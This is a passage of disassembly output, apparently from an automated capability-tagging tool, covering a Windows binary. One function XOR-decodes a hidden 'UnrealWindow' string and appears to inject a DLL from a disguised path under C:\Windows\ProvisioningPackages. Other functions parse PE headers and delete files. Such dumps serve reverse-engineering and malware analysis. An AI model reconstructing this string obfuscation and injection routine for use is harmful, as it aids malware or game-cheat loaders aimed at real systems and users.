pop rbp
ret
call fcn.140018eb8
nop
call fcn.140018eb8
nop
int3
Function at 0x140008170
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
mov rax, qword [0x14004a040]
xor rax, rsp
mov qword [rsp + 0x30], rax
call fcn.140007790
lea rcx, [0x14008eaf0]
call fcn.14000b040
lea rdx, str.Process_Window_:_
call fcn.14000ad50
call fcn.14000c1e0
lea rdx, [0x1400442e4]
call fcn.14000ad50
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140007f90
xor eax, eax
mov dword [rsp + 0x20], 0xcadcc3f9
mov dword [rsp + 0x24], 0xdae5ddd1
mov dword [rsp + 0x28], 0xc0d9d1da
mov word [rsp + 0x2c], 0x100
nop dword [rax]
nop word [rax + rax]
lea edx, [rax - 0x54]
xor byte [rsp + rax + 0x20], dl
inc rax
cmp rax, 0xc
jb 0x1400081f0
lea rdx, str.C:WindowsProvisioningPackageseikdhfmfhvfh.dll
mov byte [rsp + 0x2d], 0
lea rcx, [rsp + 0x20]
call fcn.140005b10
lea rcx, [0x14008eaf0]
call fcn.14000b040
lea rcx, str.pause__nul
call fcn.140018918
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000f740
add rsp, 0x48
ret

Function at 0x14001e35c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001e188

Function at 0x140022dc4
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140022de4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14001af7c
or eax, 0xffffffff
jmp 0x140022de6
xor eax, eax
add rsp, 0x28
ret